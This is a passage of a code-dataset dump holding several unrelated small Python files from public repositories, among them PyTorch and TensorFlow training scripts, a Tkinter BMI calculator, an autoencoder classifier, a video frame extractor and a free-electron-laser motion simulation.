tf.reverse(tensor, axis=[axes[1]]), perm=axes_list, name=name)\n return img90\n if k == 3:\n img270 = tf.reverse(\n tf.transpose(tensor, perm=axes_list), axis=[axes[1]], name=name)\n return img270\n\n# 绘图\ndef fig_2D_tensor(tensor): # 绘图\n #plt.matshow(tensor, cmap=plt.get_cmap('gray'))\n plt.matshow(tensor) # 彩色图像\n # plt.colorbar() # 颜色条\n plt.show()\n\nif __name__ == '__main__':\n # 手写体数据集 加载\n from tensorflow.examples.tutorials.mnist import input_data\n mnist = input_data.read_data_sets(\"/home/lizhen/data/MNIST/\", one_hot=True)\n\n sess = tf.Session()\n #选取数据 4D\n images = mnist.train.images\n img_raw = images[0, :] # [0,784]\n img = tf.reshape(img_raw, [-1, 28, 28, 1]) # img 现在是tensor\n # 显 显示 待旋转的图片\n fig_2D_tensor(sess.run(img)[0, :, :, 0]) # 提取ndarray\n","repo_name":"Merle314/tensorflow_tools","sub_path":"tensor_rotate.py","file_name":"tensor_rotate.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"36235558767","text":"\"Bu fonksiyon girdi olarak gönderilen listenin içindeki sayıları toplayıp ekrana yazdırır.\"\r\nListe=[3,4,6,7,10,1,50]\r\ntoplam=0 \r\n\r\nfor i in range(len(Liste)):\r\n if type(Liste[i])==int or type(Liste[i])==float:\r\n toplam=toplam+ int(Liste[i])\r\n\r\n elif type(Liste[i])==str:\r\n break\r\n\r\nif (type(Liste[i])==str)==True:\r\n print(\"HATA!Lütfen sayilardan oluşan bir liste yazınız.\")\r\n\r\nelse:\r\n print(\"Liste içindeki sayıların toplamı\",toplam,\"dir.\")\r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"dilekkaplan/Odevler_4.hafta","sub_path":"soru1.1.py","file_name":"soru1.1.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"70349459504","text":"import os\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\n\n\n# neural networks:\n# - is a module\n# - comprises of modules (layers)\n# modules subclass torch.nn.Module\n# a mini-batch passed through the nn always maintains the first \"batch-dimension\"\n# autograd:\n# calculating the gradient of the loss with respect to the parameters\n# normally \"requires_grad=True\" needed for gradient computation support of tensors\n# sometimes not needed, e.g. in case of:\n# -training finished (-->speedup computation)\n# -freeze several parameters\n# switch autograd off:\n# with torch.no_grad():\n# pass\n# or\n# tensor=tensor.detach()\n\ndef train_loop(dataloader, model, loss_fn, optimizer):\n size = len(dataloader.dataset)\n for batch, (X, y) in enumerate(dataloader):\n # Compute prediction and loss\n pred = model(X)\n loss = loss_fn(pred, y)\n\n # Backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if batch % 100 == 0:\n loss, current = loss.item(), (batch + 1) * len(X)\n print(f\"loss: {loss:>7f} [{current:>5d}/{size:>5d}]\")\n\n\ndef test_loop(dataloader, model, loss_fn):\n size = len(dataloader.dataset)\n num_batches = len(dataloader)\n test_loss, correct = 0, 0\n\n with torch.no_grad():\n for X, y in dataloader:\n pred = model(X)\n test_loss += loss_fn(pred, y).item()\n correct += (pred.argmax(1) == y).type(torch.float).sum().item()\n\n test_loss /= num_batches\n correct /= size\n print(f\"Test Error: \\n Accuracy: {(100*correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\")\n\nclass NeuralNetwork(nn.Module):\n # required:\n # __init__, forward(self,x)\n def __init__(self, input_size):\n super().__init__()\n self.flatten = nn.Flatten()\n self.input_size=input_size\n # self.linear_relu_stack = nn.Sequential( # == ordered container of modules\n # nn.Linear(28*28, 512),\n # nn.ReLU(),\n # nn.Linear(512, 512),\n # nn.ReLU(),\n # nn.Linear(512, 10),\n # )\n self.layer_fullyConnected = nn.Sequential(\n nn.Linear(self.input_size, 512),\n nn.ReLU(),\n nn.Linear(512,256, bias=True).float(),\n nn.ReLU(),\n nn.Linear(32, 2, bias=True).float()\n )\n\n\n def forward(self, x, ):\n x = self.flatten(x)\n logits = self.linear_relu_stack(x)\n return logits\n\n\n# code from datasets\nfrom torchvision import datasets\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision.transforms import Lambda, ToTensor\nimport os\n\n\ntraining_data = datasets.FashionMNIST(\n root=\"../data\",\n train=True,\n download=True,\n transform=ToTensor(),\n target_transform=Lambda(lambda y: torch.zeros(10, dtype=torch.float).scatter_(0, torch.tensor(y), value=1))\n)\n\ntest_data = datasets.FashionMNIST(\n root=\"../data\",\n train=False,\n download=True,\n transform=ToTensor()\n)\n\n# Define Loss fkt + Hyperparameter + optimizer\nloss_fn = nn.CrossEntropyLoss()\nlearning_rate = 1e-3\nbatch_size = 64\nepochs = 5\nstate_dict_path='../models/intro_pytorch/model_weights.pth'\n\nmodel = NeuralNetwork()\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\n\n# prepare dataset through dataloader --> iterable, batches, reshuffled after epochs\ntrain_dataloader = DataLoader(training_data, batch_size=batch_size, shuffle=True)\ntest_dataloader = DataLoader(test_data, batch_size=batch_size, shuffle=True)\n\nimport torchvision.models as models\nfrom pathlib import Path\nif Path.is_file(Path(state_dict_path)):\n model.load_state_dict(torch.load(state_dict_path))\nelse:\n if not Path(state_dict_path).parent.exists():\n os.makedirs(Path(state_dict_path).parent)\n\n\nfor t in range(epochs):\n print(f\"Epoch {t+1}\\n-------------------------------\")\n train_loop(train_dataloader, model, loss_fn, optimizer)\n test_loop(test_dataloader, model, loss_fn)\nprint(\"Done!\")\n\ntorch.save(model.state_dict(), state_dict_path)\n\n\n\n\n\n# device='cuda' if torch.cuda.is_available() else 'cpu'\n# model = NeuralNetwork().to(device)\n# print(model)\n#\n# X = torch.rand(1, 28, 28, device=device)\n# logits = model(X)\n# pred_probab = nn.Softmax(dim=1)(logits)\n# y_pred = pred_probab.argmax(1)\n# print(f\"Predicted class: {y_pred}\")","repo_name":"luleyleo/Emotivate","sub_path":"sentiment_analysis/training/basic_pipeline.py","file_name":"basic_pipeline.py","file_ext":"py","file_size_in_byte":4428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"20066366726","text":"\"\"\"\r\nCALCULADORA IMC\r\n\"\"\"\r\n\r\n#!/usr/bin/env python\r\n# -*- coding: latin1 -*-\r\n\r\nfrom tkinter import*\r\n\r\nroot = Tk()\r\n\r\n\r\ndef calcular():\r\n if str(txtPeso.get()).isnumeric() and str(txtAltura.get()).isnumeric():\r\n peso = float(txtPeso.get())\r\n altura = float(txtAltura.get())/100\r\n res = peso / (altura * altura)\r\n lblResposta[\"text\"] = res\r\n\r\n if res < 17:\r\n lblAnalise[\"text\"] = \"Muito abaixo do peso\"\r\n elif res >= 17 and res < 18.49:\r\n lblAnalise[\"text\"] = \"Abaixo do peso\"\r\n elif res >= 18.50 and res < 24.99:\r\n lblAnalise[\"text\"] = \"Peso normal\"\r\n elif res >= 25 and res < 29.99:\r\n lblAnalise[\"text\"] = \"Acima do peso\"\r\n elif res >= 30 and res < 34.99:\r\n lblAnalise[\"text\"] = \"Obesidade I\"\r\n elif res >= 35 and res < 39.99:\r\n lblAnalise[\"text\"] = \"Obesidade II (severa)\"\r\n else:\r\n lblAnalise[\"text\"] = \"Obesidade III (mórbida)\"\r\n\r\n\r\ndef reiniciar():\r\n txtNome.delete(0, END)\r\n txtEnd.delete(0, END)\r\n txtPeso.delete(0, END)\r\n txtAltura.delete(0, END)\r\n lblResposta[\"text\"] = \"0\"\r\n lblAnalise[\"text\"] = \" \"\r\n\r\n\r\ndef sair():\r\n root.destroy()\r\n return\r\n\r\n\r\nroot.geometry(\"550x200\")\r\nroot.title(\"Cálculo do IMC - Índice de Massa Corporal\")\r\nroot.configure(background='WHITE')\r\n\r\nMargemT = Frame(root, width=600, height=10)\r\nMargemT.pack(side=TOP, fill=BOTH, expand=0)\r\n\r\nMargemB = Frame(root, width=600, height=50)\r\nMargemB.pack(side=BOTTOM, fill=BOTH, expand=0)\r\n\r\nMargemR = Frame(root, width=10, height=200)\r\nMargemR.pack(side=RIGHT, fill=BOTH, expand=0)\r\n\r\nMargemL = Frame(root, width=10, height=200)\r\nMargemL.pack(side=LEFT, fill=BOTH, expand=0)\r\n\r\nTop = Frame(root, width=580, height=70)\r\nTop.pack(side=TOP, fill=BOTH, expand=2)\r\n\r\nBottom = Frame(root, width=580, height=70)\r\nBottom.pack(side=BOTTOM, fill=BOTH, expand=3)\r\n\r\nBottomR = Frame(Bottom, width=290, height=70, bd=4, relief=\"raise\")\r\nBottomR.pack(side=RIGHT, fill=BOTH, expand=2)\r\n\r\nBottomL = Frame(Bottom, width=290, height=70)\r\nBottomL.pack(side=LEFT, fill=BOTH, expand=1)\r\n\r\nlblNome = Label(Top, font=('arial', 10), text=\"Nome do Paciente: \", width=15, justify='left')\r\nlblNome.grid(row=0, column=0, columnspan=1)\r\n\r\ntxtNome = Entry(Top, font=('arial', 10), bd=2, width=65, justify='left', state=NORMAL)\r\ntxtNome.grid(row=0, column=1, sticky=W+E)\r\ntxtNome.get()\r\n\r\nlblEnd = Label(Top, font=('arial', 10), text=\"Endereço Completo:\", width=15, justify='left')\r\nlblEnd.grid(row=1, column=0, columnspan=1)\r\n\r\ntxtEnd = Entry(Top, font=('arial', 10), bd=2, width=65, justify='left', state=NORMAL)\r\ntxtEnd.grid(row=1, column=1, sticky=W+E)\r\ntxtEnd.get()\r\n\r\nlblAltura = Label(BottomL, font=('arial', 10), text=\"Altura (cm) \", width=15, justify='left')\r\nlblAltura.grid(row=0, column=0, columnspan=1)\r\n\r\ntxtAltura = Entry(BottomL, font=('arial', 10), bd=2, width=40, justify='left', state=NORMAL)\r\ntxtAltura.grid(row=0, column=1)\r\n\r\nlblPeso = Label(BottomL, font=('arial', 10), text=\"Peso (Kg) \", width=15, justify='left')\r\nlblPeso.grid(row=1, column=0, columnspan=1, sticky=W+E)\r\n\r\ntxtPeso = Entry(BottomL, font=('arial', 10), bd=2, width=40, justify='left', state=NORMAL)\r\ntxtPeso.grid(row=1, column=1)\r\n\r\nbt1 = Button(MargemB, width=20, text=\"Calcular\", bd=4, relief=\"raise\", command=calcular).grid(row=1, column=1)\r\n\r\nbt2 = Button(MargemB, width=20, text=\"Reiniciar\", bd=4, relief=\"raise\", command=reiniciar).grid(row=1, column=3)\r\n\r\nlblResult = Label(BottomR, font=('arial', 13, 'bold'), text=\"Resultado\")\r\nlblResult.pack(side=TOP, fill=BOTH, expand=2)\r\n\r\nlblResposta = Label(BottomR, font=('arial', 13, 'bold'), text=\"0\")\r\nlblResposta.pack(side=TOP, fill=BOTH, expand=2)\r\n\r\nlblAnalise = Label(BottomR, font=('arial', 13, 'bold'), text=\" \")\r\nlblAnalise.pack(side=BOTTOM, fill=BOTH, expand=2)\r\n\r\nbt3 = Button(MargemB, width=20, text=\"Sair\", bd=4, relief=\"raise\", command=sair).grid(row=1, column=5)\r\n\r\nroot.mainloop()\r\n","repo_name":"ffer23/Python","sub_path":"Ativ03CalculadoraIMC.py","file_name":"Ativ03CalculadoraIMC.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"34705591675","text":"# horizontal bar to show predictions\ndef barplot_prob(prob, name):\n # prob: np.ndarray, 1xn\n # name: np.ndarray, 1xn\n \n assert prob.size == name.size\n n_name = prob.size\n \n arg_sort = prob.argsort()\n \n name = name[0, arg_sort]\n name = np.reshape(name, (n_name, ))\n\n p_sorted = prob[0, arg_sort]\n p_sorted = np.reshape(p_sorted, (n_name, ))\n\n plt.figure(figsize=(12, 9))\n plt.barh(np.arange(prob.size), p_sorted)\n\n plt.xlim([0., 1.1])\n plt.xlabel('probability')\n plt.ylabel('class')\n plt.yticks(np.arange(n_name), name)\n\n plt.show()\n","repo_name":"kevin369ml/GoogleNet","sub_path":"plot_prediction.py","file_name":"plot_prediction.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"2554778842","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nxlist = np.arange(-5,5,0.1)\nylist = np.arange(-5,5,0.1)\n\nX,Y = np.meshgrid(xlist,ylist)\n# X a 2D array of 10,000 numbers np.size(xlist)\n# Y a 2D array of 10,000 numbers np.size(ylist)\n# to get the (size,size) matrix use np.size(X)\n\nk = 1\nq = 10 ** -6\n\nEx = k * q * X / (np.sqrt(X ** 2.0 + Y ** 2.0) ** 3.0)\nEy = k * q * Y / (np.sqrt(X ** 2.0 + Y** 2.0) ** 3.0) \n\nplt.streamplot(X,Y,Ex,Ey)\nplt.show()","repo_name":"tpyte001/comput_phy","sub_path":"E_field_class_simple.py","file_name":"E_field_class_simple.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"20563172064","text":"from bson.objectid import ObjectId\nimport pandas as pd\nfrom pandas.core.frame import DataFrame\nimport os\nimport pickle\n\n\nclass TermDocumentMatrix:\n \"\"\"\n A term document matrix for all documents in the corpus.\n\n Attributes\n\n _id: ObjectId | None - database id for the document\n corpus_name: str | None - name of the corpus\n matrix: DataFrame | str | None - a pandas dataframe representation of document-term-frequencies\n\n Methods\n\n info: dict - return all class variables as a dictionary\n\n save_matrix: bool - saves the term document matrix for the corpus as a pickle file.\n\n add_new_document: bool - adds a new document (df) to the term-document matrix.\n\n \"\"\"\n def __init__(self, doc: dict | None = None):\n self._id: ObjectId | str | None = None\n self.corpus_name: str | None = None\n self.matrix: DataFrame | str | None = pd.DataFrame()\n\n # If document exists assign each value pair to the respective value pair for class instance\n if doc:\n for k, v in doc.items():\n setattr(self, k, v)\n if 'matrix' in doc.keys() and type(doc['matrix']) == str:\n self.matrix = pd.read_json(doc['matrix'])\n\n def info(self):\n \"\"\"\n Return all class variables as a dictionary.\n\n :return: dict\n \"\"\"\n return {\n \"_id\": self._id,\n \"corpus_name\": self.corpus_name,\n \"matrix\": self.matrix\n }\n\n def save_matrix(self):\n \"\"\"\n Saves the term document matrix for the corpus as a pickle file.\n\n :return: bool\n \"\"\"\n try:\n path = os.path.join(os.getcwd(), f'{self.corpus_name}.pkl')\n with open(path, 'wb') as f:\n pickle.dump(self, f)\n return True\n except Exception as e:\n print('Error:', e)\n return False\n\n def add_new_document(self, df: DataFrame):\n \"\"\"\n Adds a new document (df) to the term-document matrix.\n\n :param df: DataFrame\n :return: bool\n \"\"\"\n try:\n self.matrix = pd.concat([self.matrix, df], join='outer')\n self.matrix = self.matrix.fillna(0.0)\n self.save_matrix()\n return True\n except Exception as e:\n print(f'Error: failed to add new document to matrix', e)\n return False\n","repo_name":"HappyPhilosoph3r/ir-group-21","sub_path":"search-engine-server/db/models_tdmatrix.py","file_name":"models_tdmatrix.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"22160007339","text":"#!/usr/bin/env python\nimport sys\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\nfrom sklearn.datasets import make_classification\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Input\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import LeakyReLU\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.utils import plot_model\nfrom matplotlib import pyplot\n\nfrom sklearn.datasets import make_classification\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom tensorflow.keras.models import load_model\nfrom sklearn.metrics import classification_report,confusion_matrix\n# Random Forest\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import matthews_corrcoef\n\n\ndef autoencoder_generation(data):\n\ty=data[\"local_CA_nom\"]\n\tdata.pop(\"local_CA_nom\")\n\t#data.pop(\"local_CA\")\n\tdata.pop(\"1\")\n\tdata.pop(\"2\")\n\tdata.pop(\"3\")\n\tdata.pop(\"4\")\n\tdata.pop(\"5\")\n\tprint(data.shape, y.shape)\n\tX_train, X_test, y_train, y_test = train_test_split(data, y, test_size=0.3, random_state=1)\n\tn_inputs = data.shape[1]\n\tprint(data.shape)\n\t# scale data\n\tt = MinMaxScaler()\n\tt.fit(X_train)\n\tX_train = t.transform(X_train)\n\tX_test = t.transform(X_test)\n\t# define encoder\n\tvisible = Input(shape=(n_inputs,))\n\t# encoder level 1\n\te = Dense(n_inputs*2)(visible)\n\te = BatchNormalization()(e)\n\te = LeakyReLU()(e)\n\t# encoder level 2\n\te = Dense(n_inputs)(e)\n\te = BatchNormalization()(e)\n\te = LeakyReLU()(e)\n\t# bottleneck\n\tn_bottleneck = round(float(n_inputs) / 5.0)\n\tbottleneck = Dense(n_bottleneck)(e)\n\t# define decoder, level 1\n\td = Dense(n_inputs)(bottleneck)\n\td = BatchNormalization()(d)\n\td = LeakyReLU()(d)\n\t# decoder level 2\n\td = Dense(n_inputs*2)(d)\n\td = BatchNormalization()(d)\n\td = LeakyReLU()(d)\n\t# output layer\n\toutput = Dense(n_inputs, activation='linear')(d)\n\t# define autoencoder model\n\tmodel = Model(inputs=visible, outputs=output)\n\t# compile autoencoder model\n\tmodel.compile(optimizer='adam', loss='mse')\n\t# plot the autoencoder\n\tplot_model(model, 'autoencoder_no_compress.png', show_shapes=True)\n\t# fit the autoencoder model to reconstruct input\n\thistory = model.fit(X_train, X_train, epochs=200, batch_size=16, verbose=2, validation_data=(X_test,X_test))\n\t# plot loss\n\tpyplot.plot(history.history['loss'], label='train')\n\tpyplot.plot(history.history['val_loss'], label='test')\n\tplt.title(\"Autoencoder Learning Curve\", fontsize=14, fontweight='bold')\n\tplt.xlabel('Epoch')\n\tplt.ylabel('Loss')\n\tpyplot.legend()\n\tpyplot.show()\n\t# define an encoder model (without the decoder)\n\tencoder = Model(inputs=visible, outputs=bottleneck)\n\tplot_model(encoder, 'encoder_no_compress.png', show_shapes=True)\n\t# save the encoder to file\n\tencoder.save('encoder.h5')\n\n\ndef model(data):\n\ty=data[\"local_CA_nom\"]\n\tdata.pop(\"local_CA_nom\")\n\t#data.pop(\"local_CA\")\n\tdata.pop(\"1\")\n\tdata.pop(\"2\")\n\tdata.pop(\"3\")\n\tdata.pop(\"4\")\n\tdata.pop(\"5\")\n\tprint(data.shape, y.shape)\n\tX_train, X_test, y_train, y_test = train_test_split(data, y, test_size=0.3, random_state=1)\n\tn_inputs = data.shape[1]\n\tprint(data.shape)\n\t# scale data\n\tt = MinMaxScaler()\n\tt.fit(X_train)\n\tX_train = t.transform(X_train)\n\tX_test = t.transform(X_test)\n\tencoder = load_model('encoder.h5')\n\t# encode the train data\n\tX_train_encode = encoder.predict(X_train)\n\t# encode the test data\n\tX_test_encode = encoder.predict(X_test)\n\t# define the model\n\tmodel = RandomForestClassifier(n_estimators=200)\n\tmodel.fit(X_train_encode, y_train)\n\tRandomForestClassifier(bootstrap=True, class_weight=None, criterion='gini',max_depth=None, max_features='auto', max_leaf_nodes=None,\n\t\tmin_impurity_decrease=0.0, min_impurity_split=None,\n\t\tmin_samples_leaf=1, min_samples_split=2,\n\t\tmin_weight_fraction_leaf=0.0, n_estimators=200, n_jobs=None,\n\t\toob_score=False, random_state=None, verbose=0,\n\t\twarm_start=False)\n\t# fit the model on the training set\n\tmodel.fit(X_train_encode, y_train)\n\trf_prediction = model.predict(X_test_encode)# Evaluations\n\tprint('Classification Report: \\n')\n\tMCC=matthews_corrcoef(y_test,rf_prediction, sample_weight=None )\n\tprint(\"MCC\",MCC)\n\tprint(classification_report(y_test,rf_prediction))\n\tprint('\\nConfusion Matrix: \\n')\n\tprint(confusion_matrix(y_test,rf_prediction))\n\tscores = model.score(X_test_encode, y_test)\n\tprint(scores)\n\n\tmodel.fit(X_train, y_train)\n\trf_prediction = model.predict(X_test)# Evaluations\n\tprint('Classification Report: \\n')\n\tMCC=matthews_corrcoef(y_test,rf_prediction, sample_weight=None )\n\tprint(\"MCC\",MCC)\n\tprint(classification_report(y_test,rf_prediction))\n\tprint('\\nConfusion Matrix: \\n')\n\tprint(confusion_matrix(y_test,rf_prediction))\n\tscores = model.score(X_test, y_test)\n\tprint(scores)\n\ndata = pd.read_csv(sys.argv[1], header=0)\nprint(data.shape)\nprint(data.columns)\nautoencoder_generation(data)\nmodel(data)","repo_name":"LilianDenzler/qualiloop","sub_path":"qualiloop/autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"30517361130","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 28 00:52:08 2021\r\n\r\n@author: chakati\r\n\"\"\"\r\n#code to get the key frame from the video and save it as a png file.\r\n\r\nimport cv2\r\nimport os\r\n#videopath : path of the video file\r\n#frames_path: path of the directory to which the frames are saved\r\n#count: to assign the video order to the frane.\r\ndef frameExtractor(videopath,frames_path, subject, lett):\r\n if not os.path.exists(frames_path):\r\n os.mkdir(frames_path)\r\n cap = cv2.VideoCapture(videopath)\r\n video_length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) - 1\r\n frame_no= int(video_length/2)\r\n #print(\"Extracting frame..\\n\")\r\n cap.set(1,frame_no)\r\n ret,frame=cap.read()\r\n frame = cv2.rotate(frame,cv2.ROTATE_90_CLOCKWISE)\r\n cv2.imwrite(frames_path +\"/\"+ subject+lett+\".png\", frame)\r\n\r\n# videos = os.listdir(\"videos/\")\r\nvideos = [\"Sowmya\"]\r\nfor folder in videos:\r\n for file in os.listdir(\"videos/\" + folder):\r\n vidpath = \"videos/\"+folder+\"/\"+file\r\n print(vidpath, \"letters\",folder,file[:-4][-1])\r\n frameExtractor(vidpath, \"letters\",folder,file[:-4][-1])\r\n","repo_name":"srinathvrao/ASLMCProject","sub_path":"frameextractor.py","file_name":"frameextractor.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"37153905857","text":"#\n#\n#\nheight = [] \ntour = []\nhei = 100.0\ntim = 10\nfor i in range(1,tim+1):\n\ttour.append(hei)\n\thei = hei/2\n\theight.append(hei)\nprint('Total height: %f'%(sum(tour)))\nprint('height of tenth bounce:%f'%(height[-1]))","repo_name":"galaxy-tek/python_study","sub_path":"example/example_20.py","file_name":"example_20.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"10760919827","text":"# -*- coding: utf-8 -*-\n# ___ _ _ _ \n# / _ \\ | | | | | \n# / /_\\ \\ __| | |__ ___ ___ ___| |__ \n# | _ |/ _` | '_ \\ / _ \\/ _ \\/ __| '_ \\ \n# | | | | (_| | | | | __/ __/\\__ \\ | | |\n# \\_| |_/\\__,_|_| |_|\\___|\\___||___/_| |_|\n# Date: 2021-03-18 00:14:04\n# Last Modified time: 2021-03-18 02:05:16\n\nfrom load_json import get_class_id\nfrom tensorflow.keras.applications import ResNet50\nfrom tensorflow.keras.applications.resnet50 import decode_predictions\nfrom tensorflow.keras.applications.resnet50 import preprocess_input\nimport numpy as np\nimport cv2\n\nclass Predict():\n\tdef __init__(self, image):\n\t\tself.image = image\n\t\tself.output = image\n\t\tself.preprocess_image()\n\t\tself.id,self.label,self.prob = self.classify_image()\n\n\tdef preprocess_image(self):\n\t\tself.image = cv2.cvtColor(self.image, cv2.COLOR_BGR2RGB)\n\t\tself.image = preprocess_input(self.image)\n\t\tself.image = cv2.resize(self.image, (224,224))\n\t\tself.image = np.expand_dims(self.image, axis=0)\n\n\tdef classify_image(self):\n\t\tprint(\"Predicting image...\")\n\t\tself.model = ResNet50(weights=\"imagenet\")\n\t\tpreds = self.model.predict(self.image)\n\t\tpreds = decode_predictions(preds, top = 3)[0]\n\n\t\tfor (i, (id, label, prob)) in enumerate(preds):\n\t\t\tif i == 0:\n\t\t\t\tprint(f\"[SELECTED] {label} => {get_class_id(label)}\")\n\t\t\tprint(f\"[TOP 3] {i+1}. {label}: {prob}%\")\n\t\tprint(\"\\n\")\n\n\t\treturn get_class_id(preds[0][1]), preds[0][1], preds[0][2]\n\n\tdef display_image(self,i):\n\t\tself.prob = str(self.prob*100)\n\t\tself.prob = self.prob[:6]\n\n\t\ttext = f\"{self.label}: {self.prob}%\"\n\t\tcv2.putText(self.output, text, (3, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0,255,0), 2)\n\t\tcv2.imshow(f\"image_{i}\", self.output)\n\t\t\n\t\tcv2.imwrite(f\"../Images/image_{i}.jpg\", self.output)\n\nif __name__ == '__main__':\n\timage_filename=\"../dataset/pig.jpg\"\n\t# image_filename=\"Dataset/adversarial.png\"\n\timage=cv2.imread(image_filename)\n\n\tp=Predict(image)\n\tp.display_image()","repo_name":"adheeshc/adverserial_attacks","sub_path":"source/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"20582698774","text":"from main import main_menu\nfrom io import StringIO\nimport sys \n\ndef test_main_menu_exit_game(monkeypatch):\n # lambda is a keyword function that can take any number of argument but only one expression\n # monkeypatch.setattr is temporarily replace the behaviour of the input\n monkeypatch.setattr('builtins.input', lambda _: \"4\")\n\n # stdout transfers to a strinIO object\n sys.stdout = StringIO()\n\n # calls the Main_menu funtion\n main_menu()\n\n # Fetches the captured output\n captured = sys.stdout.getvalue()\n\n # check if the objected in captured\n assert \"Thank you for playing hope to see you soon!!!\" in captured\n\n # Resets stdout back to original value\n sys.stdout = sys.__stdout__\n\n# Capsys alows us to capture the output printed to stdout\ndef test_main_menu_prints_welcome_message_and_options(monkeypatch, capsys):\n # \n monkeypatch.setattr('builtins.input', lambda _: \"4\")\n\n # Calls main menu function\n main_menu()\n\n # Fetches the captured output\n captured = capsys.readouterr()\n\n # Capture objects and expected welcome messages and options are checked\n assert \"Welcome to this mutliple choice quiz game!!!\" in captured.out\n assert \"1) Movie Quiz 🎥\" in captured.out\n assert \"2) Cartoon Quiz 🐱\" in captured.out\n assert \"3) View HighScore 🏆\" in captured.out\n assert \"4) Exit Game ❌\" in captured.out\n\n # Reset stdout back to it original value\n sys.sydout = sys.__stdout__","repo_name":"Brandon-Powell25/Assignment_T1A3","sub_path":"src/test_main_menu.py","file_name":"test_main_menu.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"14286293868","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sonnet as snt\nimport tensorflow as tf\n\nfrom ..direction import Direction\nfrom ..naive_effect import ShortEffectLayer\nfrom ..short_board.black_piece import select_black_fu\n\n__author__ = 'Yasuhiro'\n__date__ = '2018/2/19'\n\n\nclass BlackFuEffectLayer(snt.AbstractModule):\n def __init__(self, data_format, use_cudnn=True, name='black_fu_effect'):\n super().__init__(name=name)\n self.data_format = data_format\n self.use_cudnn = use_cudnn\n\n def _build(self, pinned_board, available_square):\n selected = select_black_fu(board=pinned_board, direction=Direction.UP)\n effect = ShortEffectLayer(\n direction=Direction.UP, data_format=self.data_format,\n use_cudnn=self.use_cudnn\n )(selected)\n outputs = {Direction.UP: tf.logical_and(effect, available_square)}\n\n return outputs\n","repo_name":"windfall-shogi/feature-annotation","sub_path":"annotation/black_effect/fu.py","file_name":"fu.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"27587881269","text":"##FEL Motion Numerical (Runge Kutta 4th Order Method)\n#John Anderson\n\n#importation of required packages used in program\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nfrom scipy.integrate import solve_ivp\nimport matplotlib.gridspec as gridspec\nimport matplotlib\nimport sys\n#formats the font for all matplotlib plots\nfont = {'family' : 'verdana', 'size' : 14}\nmatplotlib.rc('font', **font)\n\nstart_time=time.time() #create an initial time for when the code was run\n\n#mass of electron (kg), charge of electron (C), magnetic field strength (T), speed of light (m/s),velocity of travelling particle (m/s)\nm = 9.11e-31; q = 1.6e-19; B = .25;c = 2.99792458e8; v=0.9999998*c; alpha = 0.1\nbeta = v/c #speed of the electron as a factor of the speed of light\nlorentz_factor=1/(np.sqrt(1-beta**2))\nk = (np.pi * 2) / 2e-2 # wave number defined as 2pi divided by the wavelength (1/m)\nau =(q * B) / (k * m * c) #undulator parameter\nn =2\n\ndef f1(t,y): #x direction coupled equations\n # [x' = u, x'' = u']\n return [y[1], (q*B*beta*c)/(lorentz_factor*m)*(np.cos(k*beta*c*t)*(1+alpha*np.sin(n*k*beta*c*t)))]\n\n#Short Modulation greater than or equal to 1.\nif n >=0:\n #Equal Modulation Case\n if n == 1:\n print(n)\n def f2(t, y): # z direction equations\n # [z' = u]\n r = k * beta * c * t\n return [(beta * c) + ((c * au ** 2) / (4 * lorentz_factor ** 2)) * (\n np.cos(2 * r) + alpha * ((np.sin(r) * np.cos(2 * r)) - ((alpha * np.cos(4 * 